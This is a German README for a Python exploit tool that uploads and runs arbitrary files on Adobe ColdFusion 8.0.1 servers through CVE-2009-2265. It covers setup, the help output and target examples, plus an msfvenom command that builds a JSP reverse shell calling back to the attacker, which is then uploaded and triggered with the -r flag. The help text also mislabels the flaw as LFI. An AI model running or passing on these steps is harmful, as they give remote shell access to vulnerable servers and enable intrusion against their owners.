
cf8-upload.py | CVE-2009-2265
Ein Python3-Skript zur Ausnutzung von CVE-2009-2265.
Das Skript nutzt eine Sicherheitslücke in FCKeditor < 2.6.4.1 aus, die in Adobe ColdFusion 8.0.1 implementiert wurde:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
Das Skript ermöglicht es dem Benutzer, eine Datei zum Hochladen auf einen Zielcomputer mit ColdFusion 8.0.1 zu senden und auszuführen.
pip3 install requests
Nachdem ein Ziel identifiziert wurde, das Adobe ColdFusion 8.0.1 ausführt, starten Sie mit:
chmod +x cf8-upload.py
./cf8-upload.py -h
oder
python3 cf8-upload.py -h
Die Option -h oder --help zeigt, wie das Skript mit einigen Beispielen ausgeführt wird.
Es gibt zwei Positionsargumente und einige optionale Argumente.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
cf8-upload.py exploitiert eine LFI-Schwachstelle in
Adobe ColdFusion 8.0.1
positional arguments:
address IP/Hostname, Port, Unterverzeichnisse zum Adobe
ColdFusion 8.0.1-Server
path Pfad zur Datei, die Sie hochladen möchten (z. B.
'/path/to/file.txt')
optional arguments:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
-a, --accessible Deaktiviert Funktionen, die sich negativ auf
Screenreader auswirken können
-n, --no-colour Entfernt Farbausgabe
-r, --request Webseite nach erfolgreichem Hochladen der Datei
anfordern
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
Adobe ColdFusion verwendet standardmäßig Port 8500, aber der vollständige Pfad zum Server muss bei der Ausführung des Skripts angegeben werden.
Eine Standardinstallation von ColdFusion kann sich im Root-Verzeichnis auf Port 8500 befinden; in diesem Fall reicht x.x.x.x:8500 für das Adressargument beim Ausführen des Skripts höchstwahrscheinlich aus.
--accessible:cf8-upload.py gibt standardmäßig farbige und mit zusätzlicher Formatierung versehene Terminalausgaben aus, dies ist jedoch nicht immer hilfreich für Benutzer von Screenreadern. Die Verwendung des Arguments --accessible deaktiviert ausgefallene Formatierung und Farbe in der Terminalausgabe. Es deaktiviert auch ASCII-Art.
--request:Dieses Flag veranlasst das Skript, eine GET-Anfrage an die Datei zu senden – und zwar erst, nachdem sie erfolgreich hochgeladen wurde. Diese Option ist nützlich, wenn der Benutzer eine Art Reverse Shell auf die anfällige Anwendung hochlädt und diese sofort auslösen möchte. Der Inhalt der GET-Anfrage wird nicht im Terminal ausgegeben und dient nur dazu, das Ereignis auf dem Server auszulösen.
Adobe ColdFusion kann .jsp-Dateien lesen, sodass mit msfvenom eine Reverse Shell erstellt werden kann, etwa so:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
und dann hochgeladen:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
Es kann sein, dass die Adobe ColdFusion 8.0.1-Anwendung nicht in der Lage ist, bereits vorhandene Dateien zu überschreiben, die mit dem Exploit-Skript hochgeladen wurden. In diesem Fall kann das Hochladen einer anderen Datei mit demselben Namen wie eine zuvor hochgeladene Datei zu Zeitüberschreitungen während des Upload-Vorgangs führen.
Möglicherweise müssen Sie die Datei, die Sie hochladen möchten, vor einem erneuten Upload-Versuch umbenennen.
Das Skript war hauptsächlich eine Übung zur Erstellung eines kurzen, umfassenden, in sich geschlossenen Programms für einen einzelnen Exploit, wobei sowohl Lesbarkeit als auch Barrierefreiheit im Vordergrund standen.
https://skerritt.blog/a11y/ – Implementierung der Barrierefreiheit.